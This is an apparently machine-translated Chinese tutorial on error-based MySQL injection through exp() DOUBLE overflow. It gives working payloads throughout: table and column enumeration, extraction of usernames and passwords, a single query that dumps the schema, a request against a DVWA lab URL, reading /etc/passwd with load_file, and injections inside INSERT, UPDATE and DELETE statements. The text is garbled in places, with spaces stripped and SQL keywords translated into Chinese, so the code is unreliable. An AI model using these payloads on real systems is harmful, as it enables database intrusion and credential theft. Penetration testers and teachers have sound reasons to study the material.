0x01前言概述好消息好消息~作者在MySQL中发现了双重数据溢出。如果想了解使用overflow注入数据,可以阅读作者之前的博文:BIGINTOverflowErrorbasedinjections,drop上也有相应的翻译,详见这里。拿到MySQL中的函数,笔者更感兴趣的是数学函数,其中应该也包含了一些数据类型来存储值。于是笔者跑去测试,看看哪些函数会导致溢出错误。然后作者发现当传递一个大于709的值时,函数exp()会出现溢出错误。mysql>选择exp(709);+--------------------+|exp(709)|+----------------------+|8.218407461554972e307|+------------------------+1rowinset(0.00sec)mysql>selectexp(710);ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(710)'在MySQL中,exp的作用与ln和log相反。简而言之,log和ln都返回以e为底的对数,参见等式:mysql>selectlog(15);+--------------------+|日志(15)|+----------------+|2.70805020110221|+----------------+1rowinset(0.00sec)mysql>selectln(15);+------------------+|ln(15)|+-----------------+|2.70805020110221|+----------------+1rowinset(0.00sec)指数函数是对数函数的反函数,exp()是Baselogarithmic函数,如等式:mysql>selectexp(2.70805020110221);+--------------------+|exp(2.70805020110221)|+------------------------+|15|+----------------------+1rowinset(0.00sec)0x02Injection当涉及到注入时,我们使用否定查询来导致“DOUBLE值超出范围”错误。作者在之前的博文中提到,将0逐位取反会返回“18446744073709551615”。另外,由于函数执行成功后返回0,我们通过将成功执行的函数BIGINT值取反得到无符号的***。mysql>选择~0;+--------------------+|~0|+----------------------+|18446744073709551615|+--------------------+1rowinset(0.00sec)mysql>select~(selectversion());+----------------------+|~(选择版本())|+----------------------+|18446744073709551610|+--------------------+1rowinset,1warning(0.00sec)通过子查询和按位取反,造成DOUBLE溢出错误,数据被注入。>`exp(~(select*from(selectuser())x))`mysql>selectexp(~(select*from(selectuser())x));ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'root@localhost'fromdual)))'0x03注入数据获取表名:selectexp(~(select*from(selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1)x));获取列名:selectexp(~(select*from(selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1)x));检索数据:selectexp(~(select*from(selectconcat_ws(':',id,username,password)fromuserslimit0,1)x));0x04一夜之间此查询可以转储当前上下文中的所有表和列。我们也可以转储所有数据库,但由于我们是通过错误进行提取,因此它将返回很少的结果。exp(~(select*from(select(concat(@:=0,(selectcount(*)from`information_schema`.columnswheretable_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))http://localhost/dvwa/vulnerabilities/sqli/?id=1'orexp(~(select*from(select(concat(@:=0,(selectcount(*)from`information_schema`.columnswheretable_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))---&Submit=Submit#0x05读取文件你可以通过load_file()函数读取文件,但是作者发现有13行的限制,这个语句也可以用在BIGINT溢出注入中。selectexp(~(select*from(selectload_file('/etc/passwd'))a));请注意,您不能写入文件,因为此错误只会写入0。mysql>selectexp(~(select*from(select'hello')a))intooutfile'C:/out.txt';ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'hello'fromdual)))'#typeC:\out.txt00x06InjectioninInsertstepbymysql>insertintusers(id,username,password)values(2,''^exp(~(select*from(selectuser())x)),'Eyre');ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'root@localhost'fromdual)))'也可用于DIOS查询中的所有插入、更新和删除语句。mysql>insertintusers(id,username,password)values(2,''|exp(~(select*from(select(concat(@:=0,(selectcount(*)from`information_schema`.columnswheretable_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),'Eyre');ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'000newdb::users::idnewdb::users::usernamenewdb::users::password'fromdual)))'0x07InjectioninUpdatemysql>updateuserssetpassword='Peter'^exp(~(select*from(selectuser())x))whereid=4;ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'root@localhost'fromdual)))'0x08在Deletemysql中注入>deletefromuserswhereid='1'|exp(~(select*from(selectuser())x));ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'root@localhost'fromdual)))'和前面的BIGINT注入一样,exp注入同样适用于MySQL5.5.5及以上版本。以前的版本对这种情况“一无所知”。mysql>选择版本();+--------------------+|版本()|+----------------------+|5.0.45-community-nt|+--------------------+1rowinset(0.00sec)mysql>selectexp(710);+----------+|exp(710)|+----------+|1.#INF|+------------+1rowinset(0.00sec)mysql>selectexp(~0);+--------+|exp(~0)|+--------+|1.#INF|+--------+1rowinset(0.00sec)可能还有其他函数会产生这种错误。(等你来发现:)
